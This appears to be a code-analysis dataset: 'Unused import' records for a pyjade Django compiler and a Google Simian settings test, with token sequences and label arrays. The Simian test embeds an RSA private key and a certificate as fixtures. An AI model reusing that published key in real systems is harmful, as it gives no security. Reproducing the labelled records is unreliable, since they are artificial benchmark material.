attributes(self,attrs):\n return \"{%% __pyjade_attrs %s %%}\"%attrs", "metadata": "root.Compiler.attributes", "header": "['class', 'Compiler', '(', '_Compiler', ')', ':', '___EOS___']", "index": 56 }, { "content": "def decorate_templatize(func):\n def templatize(src, origin=None):\n html = process(src,compiler=Compiler)\n return func(html, origin)\n\n return templatize", "metadata": "root.decorate_templatize", "header": "['module', '___EOS___']", "index": 65 }, { "content": " @register_filter('markdown')\n def markdown_filter(x,y):\n return markdown(x)", "metadata": "root.markdown_filter", "header": "['module', '___EOS___']", "index": 77 } ]
[ { "span": "import logging", "start_line": 0, "start_column": 0, "end_line": 0, "end_column": 14 }, { "span": "import os", "start_line": 1, "start_column": 0, "end_line": 1, "end_column": 9 }, { "span": "from pyjade import Compiler as _Compiler, Parser, register_filter", "start_line": 3, "start_column": 0, "end_line": 3, "end_column": 65 }, { "span": "from pyjade.runtime import attrs", "start_line": 4, "start_column": 0, "end_line": 4, "end_column": 32 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "import_", "logging_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "os_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "pyj", "ade_", "import_", "Compiler_", "as_", "\\u", "Compiler_", ",_", "Parser_", ",_", "register", "\\u", "filter_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "pyj", "ade_", "._", "runtime_", "import_", "attrs_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "pyj", "ade_", "._", "exceptions_", "import_", "Curr", "ent", "ly", "Not", "Supported_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "pyj", "ade_", "._", "utils_", "import_", "process_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "django_", "._", "conf_", "import_", "settings_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "from_", "django_", "import_", "template_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "template_", "._", "add", "\\u", "to", "\\u", "builtins_", "(_", "'", "pyj", "ade", ".", "ext", ".", "django", ".", "templatet", "ags", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "django_", "._", "utils_", "._", "translation_", "import_", "trans", "\\u", "real_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "trans", "\\u", "real_", "._", "templa", "tize", "_", "=_", "decorate", "\\u", "templa", "tize", "_", "(_", "trans", "\\u", "real_", "._", "templa", "tize", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "from_", "django_", "._", "contrib_", "._", "markup_", "._", "templatet", "ags_", "._", "markup_", "import_", "markdown_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Import", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Compiler_", "(_", "\\u", "Compiler_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "autocl", "ose", "Code_", "=_", "'", "if", ",", "ifc", "hange", "d", ",", "ife", "qual", ",", "ifn", "ote", "qual", ",", "for", ",", "block", ",", "filter", ",", "autoe", "scap", "e", ",", "with", ",", "trans", ",", "block", "trans", ",", "space", "less", ",", "comment", ",", "cache", ",", "localiz", "e", ",", "compress", "'_", "._", "split_", "(_", "','_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "use", "Runtime_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Compiler_", "(_", "\\u", "Compiler_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "node_", ",_", "**_", "options_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "settings_", "._", "configured_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "options_", "._", "update_", "(_", "getattr_", "(_", "settings_", ",_", "'", "PY", "JA", "DE", "'_", ",_", "{_", "}_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "super_", "(_", "Compiler_", ",_", "self_", ")_", "._", "\\u\\u", "init\\u\\u_", "(_", "node_", ",_", "**_", "options_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Compiler_", "(_", "\\u", "Compiler_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "visit", "Code", "Block_", "(_", "self_", ",_", "block_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "buffer_", "(_", "'{", "%%", " ", "block", " ", "%", "s", " ", "%%", "}'_", "%_", "block_", "._", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "block_", "._", "mode_", "==_", "'", "append", "'_", ":_", "self_", "._", "buffer_", "(_", "'{{", "block", ".", "super", "}}'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "visit", "Block_", "(_", "block_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "block_", "._", "mode_", "==_", "'", "prepend", "'_", ":_", "self_", "._", "buffer_", "(_", "'{{", "block", ".", "super", "}}'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "buffer_", "(_", "'{", "%", " ", "end", "block", " ", "%}", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Compiler_", "(_", "\\u", "Compiler_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "visit", "Assignment_", "(_", "self_", ",_", "assignment_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "buffer_", "(_", "'{", "%%", " ", "\\u\\u", "pyj", "ade", "\\u", "set", " ", "%", "s", " ", "=", " ", "%", "s", " ", "%%", "}'_", "%_", "(_", "assignment_", "._", "name_", ",_", "assignment_", "._", "val_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Compiler_", "(_", "\\u", "Compiler_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "visit", "Mixin_", "(_", "self_", ",_", "mixin_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "mixing", "_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "mixin_", "._", "call_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "buffer_", "(_", "'{", "%%", " ", "\\u\\u", "pyj", "ade", "\\u", "kwa", "cro", " ", "%", "s", " ", "%", "s", " ", "%%", "}'_", "%_", "(_", "mixin_", "._", "name_", ",_", "mixin_", "._", "args_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "visit", "Block_", "(_", "mixin_", "._", "block_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "buffer_", "(_", "'{", "%", " ", "end", "\\u\\u", "pyj", "ade", "\\u", "kwa", "cro", " ", "%}", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "mixin_", "._", "block_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Curr", "ent", "ly", "Not", "Supported_", "(_", "\"", "The", " ", "mix", "in", " ", "blocks", " ", "are", " ", "not", " ", "support", "ed", " ", "ye", "t", ".\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "buffer_", "(_", "'{", "%%", " ", "\\u\\u", "pyj", "ade", "\\u", "use", "kwa", "cro", " ", "%", "s", " ", "%", "s", " ", "%%", "}'_", "%_", "(_", "mixin_", "._", "name_", ",_", "mixin_", "._", "args_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "mixing", "_", "-=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Compiler_", "(_", "\\u", "Compiler_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "visit", "Code_", "(_", "self_", ",_", "code_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "code_", "._", "buffer_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "val_", "=_", "code_", "._", "val_", "._", "lstrip_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "buf_", "._", "append_", "(_", "'{{", "%", "s", "%", "s", "}}'_", "%_", "(_", "val_", ",_", "'|", "force", "\\u", "escape", "'_", "if_", "code_", "._", "escape_", "else_", "''_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "buf_", "._", "append_", "(_", "'{", "%%", " ", "%", "s", " ", "%%", "}'_", "%_", "code_", "._", "val_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "code_", "._", "block_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "visit_", "(_", "code_", "._", "block_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "not_", "code_", "._", "buffer_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "code", "Tag_", "=_", "code_", "._", "val_", "._", "strip_", "(_", ")_", "._", "split_", "(_", "'", " ", "'_", ",_", "1_", ")_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "code", "Tag_", "in_", "self_", "._", "autocl", "ose", "Code_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "buf_", "._", "append_", "(_", "'{", "%%", " ", "end", "%", "s", " ", "%%", "}'_", "%_", "code", "Tag_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Compiler_", "(_", "\\u", "Compiler_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "attributes_", "(_", "self_", ",_", "attrs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "\"{", "%%", " ", "\\u\\u", "pyj", "ade", "\\u", "attr", "s", " ", "%", "s", " ", "%%", "}\"_", "%_", "attrs_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "decorate", "\\u", "templa", "tize", "_", "(_", "func_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "templa", "tize", "_", "(_", "src_", ",_", "origin_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "html_", "=_", "process_", "(_", "src_", ",_", "compiler_", "=_", "Compiler_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "func_", "(_", "html_", ",_", "origin_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "templa", "tize", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "@_", "register", "\\u", "filter_", "(_", "'", "mark", "down", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "mark", "down", "\\u", "filter_", "(_", "x_", ",_", "y_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "markdown_", "(_", "x_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 2, 2, 0, 1, 2, 0, 1, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4,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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
google/simian/src/tests/simian/settings_medium_test.py
[ { "content": "#!/usr/bin/env python\n#\n# Copyright 2010 Google Inc. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS-IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n#\n\n\"\"\"settings module medium tests.\"\"\"\n\n\n\nimport os\nimport tempfile\n\nimport mox\nimport stubout\n\nfrom google.apputils import app\nfrom google.apputils import basetest\nos.environ['____TESTING_SETTINGS_MODULE'] = 'yes'\nfrom simian import settings\ndel(os.environ['____TESTING_SETTINGS_MODULE'])\nfrom tests.simian import settings_test\n\n\n\n\n\n\n\n\nif __name__ == '__main__':\n app.run()\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class BaseSettingsTest(settings_test.BaseSettingsTestBase):\n \"\"\"Test BaseSettings.\"\"\"\n\n\n", "metadata": "root.BaseSettingsTest", "header": "['module', '___EOS___']", "index": 36 }, { "content": " def _GetSettingsClassUnderTest(self):\n return settings.BaseSettings", "metadata": "root.BaseSettingsTest._GetSettingsClassUnderTest", "header": "['class', 'BaseSettingsTest', '(', 'settings_test', '.', 'BaseSettingsTestBase', ')', ':', '___EOS___']", "index": 39 }, { "content": " def testCheckValuePemX509Cert(self):\n \"\"\"Test _CheckValuePemX509Cert().\"\"\"\n pem = \"\"\"\n-----BEGIN CERTIFICATE-----\nMIICDTCCAXagAwIBAgICMDkwDQYJKoZIhvcNAQEFBQAwFDESMBAGA1UEAxMJVGVz\ndENlcnQxMB4XDTExMDkwNjE5NTMyNVoXDTIxMDkwMzE5NTMyNVowFDESMBAGA1UE\nAxMJVGVzdENlcnQxMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCa7S9PpvYh\nUtkw9Wu4pnV4B/kD0BaGU3irDZWhIwVEmmFkcF2GtPhSvy12Jthj1M45ME8wpyzW\nsvXcUMhYac12WsgFXEjqjeWhztlUZVeSUAZQW3MierrDhAR/LAeWyBGYUf6CGan6\nO44OCELGJSTEg44/f1Ivj8aPYV7BuSlHawIDAQABo24wbDAdBgNVHQ4EFgQUMhwL\neP1SzD8YCkUFvX+3kC/2iYEwPQYDVR0jBDYwNIAUMhwLeP1SzD8YCkUFvX+3kC/2\niYGhGKQWMBQxEjAQBgNVBAMTCVRlc3RDZXJ0MYICMDkwDAYDVR0TBAUwAwEB/zAN\nBgkqhkiG9w0BAQUFAAOBgQAsMvV0CygBEY2jkTnD/rJ4JbN+yAbpHt17FUi1k972\nww4F3igrInfF6pgk+x866HWQvrZvAXJPdMkG6V0GIaORmNaFVyAHu9bAbDTCYMri\nhIYnz+CPRvK8o5NWjeGSDKZ/z5PV8j1jaKcy2S0N5pm3izDQayQdc4chRfInqkzN\nXw==\n-----END CERTIFICATE-----\"\"\"\n self.settings.CheckValuePemX509Cert('k', pem)", "metadata": "root.BaseSettingsTest.testCheckValuePemX509Cert", "header": "['class', 'BaseSettingsTest', '(', 'settings_test', '.', 'BaseSettingsTestBase', ')', ':', '___EOS___']", "index": 42 }, { "content": " def testCheckValuePemRsaPrivateKey(self):\n \"\"\"Test _CheckValuePemRsaPrivateKey().\"\"\"\n pem = \"\"\"\n-----BEGIN RSA PRIVATE KEY-----\nMIICXQIBAAKBgQC4PKVPk5XnZczXEHKgLAPraMV/8lYao8VPL861zdu7ex/1HGWj\nUoZglIW18uFWnox5olfGLSmTuuqUXFerCPSRX8i2eWgOgtadbGO1WGjI3Or+/lIC\nVzze03ced37oqnb5c4wHFahQZYWLp/tX0UMLrrX0ziM1dGl3ewn6LCKOJwIDAQAB\nAoGAUf8r0+7rmMFGGbHIUmFEnVFUFU3V5KVe+49bgK7OTPLPlle9JKNmCzYPDJu8\njsCh5MDML/eJuaZHISC4I/coYYnIdMSCjKal429wVqp9w0yCe+iuyT0mb0VTO8Nz\nVmbVLLCAzJw9tTg6ETD63e7qTO8lEfUXbEF3gfGlI15OGoECQQDf3t61tFqmFLqo\nfUWS/xJIg1GfrT27L1ZS3vWOf91C70Ez++EZwnGjRB9lQMLj/1k1wCfj7FukW6BJ\nKhs+4xxtAkEA0q2cq8PXc0YUkgPfdOit7GcKp/5YGDGnkvfsC9SMgkASEoH9kRUK\nhSz6askOK669V801Be/IUlaNY83+Ek7QYwJBAMnZFxDaBomMUygrmxmIpiF/VY8V\nEn29lqWtpdXP792z/yQxzKn/KZq9h1kx5QbRaswN72mP6KjufDy7nEk9WJkCQQCy\nmjnyp8FT2TqBGsVqcANaIXS4PHhkclv0zTcQRG2l0jk/9XGIeEUF576XnsDjqWyd\nLbtgwAmcPAH7dVuKG8SvAkBst9GgixxLGPr2uJYSkmBqvIUENwBzu1r5nsQU9Etn\n8VzOUazBM2nEvMne0+bTe82szTBAkbbT2uXW7C13h7Ve\n-----END RSA PRIVATE KEY-----\n\"\"\"\n self.settings.CheckValuePemRsaPrivateKey('k', pem)", "metadata": "root.BaseSettingsTest.testCheckValuePemRsaPrivateKey", "header": "['class', 'BaseSettingsTest', '(', 'settings_test', '.', 'BaseSettingsTestBase', ')', ':', '___EOS___']", "index": 61 }, { "content": "class FilesystemSettingsTest(settings_test.BaseSettingsTestBase):\n \"\"\"Test FilesystemSettings.\"\"\"\n\n\n", "metadata": "root.FilesystemSettingsTest", "header": "['module', '___EOS___']", "index": 83 }, { "content": " def _GetSettingsClassUnderTest(self):\n return settings.FilesystemSettings", "metadata": "root.FilesystemSettingsTest._GetSettingsClassUnderTest", "header": "['class', 'FilesystemSettingsTest', '(', 'settings_test', '.', 'BaseSettingsTestBase', ')', ':', '___EOS___']", "index": 86 }, { "content": " def testGetExternalConfiguration(self):\n \"\"\"Test loading config from .cfg file.\"\"\"\n path = tempfile.mkdtemp()\n\n self.settings._path = path\n settings_filename = os.path.join(path, 'settings.cfg')\n\n sf = open(settings_filename, 'w')\n sf.write('[settings]\\n')\n sf.write('foo = \\'bar\\'\\n')\n sf.close()\n\n self.assertEqual('bar', self.settings.FOO)\n self.assertRaises(AttributeError, getattr, self.settings, 'OTHER')\n\n os.unlink(settings_filename)\n os.rmdir(path)", "metadata": "root.FilesystemSettingsTest.testGetExternalConfiguration", "header": "['class', 'FilesystemSettingsTest', '(', 'settings_test', '.', 'BaseSettingsTestBase', ')', ':', '___EOS___']", "index": 89 }, { "content": " def testGetExternalConfigurationPem(self):\n \"\"\"Test loading pem from file.\"\"\"\n path = tempfile.mkdtemp()\n\n self.settings._path = path\n ssl_path = os.path.join(path, 'ssl')\n os.mkdir(ssl_path, 0755)\n pem_filename = os.path.join(ssl_path, 'ca_public_cert.pem')\n\n # Note that this pem is purposefully malformed to prove that we\n # don't validate after value is already in the file.\n sf = open(pem_filename, 'w')\n sf.write('x')\n sf.close()\n\n self.assertEqual('x', self.settings.CA_PUBLIC_CERT_PEM)\n self.assertRaises(ValueError, self.settings.CheckValidation)\n\n os.unlink(pem_filename)\n os.rmdir(ssl_path)\n os.rmdir(path)", "metadata": "root.FilesystemSettingsTest.testGetExternalConfigurationPem", "header": "['class', 'FilesystemSettingsTest', '(', 'settings_test', '.', 'BaseSettingsTestBase', ')', ':', '___EOS___']", "index": 107 }, { "content": "def main(unused_argv):\n basetest.main()", "metadata": "root.main", "header": "['module', '___EOS___']", "index": 130 } ]
[ { "span": "import mox", "start_line": 25, "start_column": 0, "end_line": 25, "end_column": 10 }, { "span": "import stubout", "start_line": 26, "start_column": 0, "end_line": 26, "end_column": 14 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#!", "/", "usr", "/", "bin", "/", "env", " ", "python_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Copy", "right", " ", "2010", " ", "Goo", "gle", " ", "Inc", ".", " ", "All", " ", "Rig", "hts", " ", "Reserve", "d", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "License", "d", " ", "under", " ", "the", " ", "Ap", "ache", " ", "License", ",", " ", "Version", " ", "2.0", " ", "(", "the", " ", "\"", "License", "\");", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "you", " ", "may", " ", "not", " ", "use", " ", "this", " ", "file", " ", "except", " ", "in", " ", "compli", "anc", "e", " ", "with", " ", "the", " ", "License", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "You", " ", "may", " ", "obtain", " ", "a", " ", "copy", " ", "of", " ", "the", " ", "License", " ", "at_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "http", "://", "www", ".", "apa", "che", ".", "org", "/", "license", "s", "/", "LICENSE", "-", "2.0_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Un", "less", " ", "require", "d", " ", "by", " ", "applica", "ble", " ", "law", " ", "or", " ", "agree", "d", " ", "to", " ", "in", " ", "writ", "ing", ",", " ", "software", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "distributed", " ", "under", " ", "the", " ", "License", " ", "is", " ", "distributed", " ", "on", " ", "an", " ", "\"", "AS", "-", "IS", "\"", " ", "BAS", "IS", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "WITH", "OUT", " ", "WAR", "RAN", "TIES", " ", "OR", " ", "CONDITION", "S", " ", "OF", " ", "ANY", " ", "KIND", ",", " ", "eit", "her", " ", "express", " ", "or", " ", "impli", "ed", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "See", " ", "the", " ", "License", " ", "for", " ", "the", " ", "specific", " ", "language", " ", "govern", "ing", " ", "permissi", "ons", " ", "and_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "limit", "ation", "s", " ", "under", " ", "the", " ", "License", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\"\"\"", "settings", " ", "module", " ", "medium", " ", "tests", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "os_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "tempfile_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "mox_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "stub", "out_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "google_", "._", "app", "utils_", "import_", "app_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "google_", "._", "app", "utils_", "import_", "base", "test_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "os_", "._", "environ_", "[_", "'\\u", "\\u\\u\\u", "TESTING", "\\u", "SETTING", "S", "\\u", "MODUL", "E", "'_", "]_", "=_", "'", "ye", "s", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "simi", "an_", "import_", "settings_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "del_", "(_", "os_", "._", "environ_", "[_", "'\\u", "\\u\\u\\u", "TESTING", "\\u", "SETTING", "S", "\\u", "MODUL", "E", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "tests_", "._", "simi", "an_", "import_", "settings", "\\u", "test_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", 